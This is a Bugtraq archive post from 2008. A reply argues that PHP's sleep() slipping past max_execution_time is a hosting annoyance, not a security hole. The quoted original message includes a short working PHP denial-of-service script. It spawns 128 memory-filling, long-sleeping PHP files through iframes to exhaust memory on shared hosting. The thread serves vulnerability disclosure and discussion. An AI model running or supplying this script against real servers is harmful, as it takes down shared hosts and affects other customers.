Bugtraq mailing list archives

Re: function sleep() in all versions of PHP


From: Mark Sanders <mark () cyanox nl>
Date: Mon, 26 May 2008 22:44:06 +0200

This vulnerability is not per se a vulnerability but a annoyance that has been dealt with in many ways.

It is quite common to not let any process on a web server run longer then a specified time. This is usually made possible by some trivial shell scripting that checks the running time of certain processes.

This annoyance is also not limited to PHP. Any scripting language that has the ability to execute something with the means of system() can create and call a script that uses memory and waits indefinitely.

This is also an annoyance that will not be seen as a bug or will be "fixed" because it would leave the language almost useless. Although some do attempt to fix this by disabling all possible functions that can execute something like exec, system, eval, etc. but it is not limited to that. The same long wait can be achieved with fsockopen or any other stream function like fread, fwrite, etc. Even if your wait is limited to 60 seconds you can just repeat it in a simple loop and still maintain the very low actual cpu time usage.

This is and has never been a security hole or threat. It will also never be. It is just an annoyance for which many solutions are already available.

Greetings,

Mark Sanders.

gogulas () wp pl wrote:
There is a quite big problem with sleep() function in php, The max_execution_time set to 60sec. in safe mode can be easy passed by using sleep() funcion, for example this script:
<?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the 
execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when 
determining the maximum time that the script has been running."
including sleep() :P
We can use this vuln to run out memory on web/php hosting:
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
   $temp='';
   else $temp='temp/';
   for($n=0;$n<128;$n++) {
      $rand = mt_rand();
      $fp = fopen("$temp$rand.php", 'w+');
      fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\'; sleep(999999999); ?>');// for 16mb memory limit
      fclose($fp);
      echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" height=\"10\"></iframe>";
   }
?>






Current thread: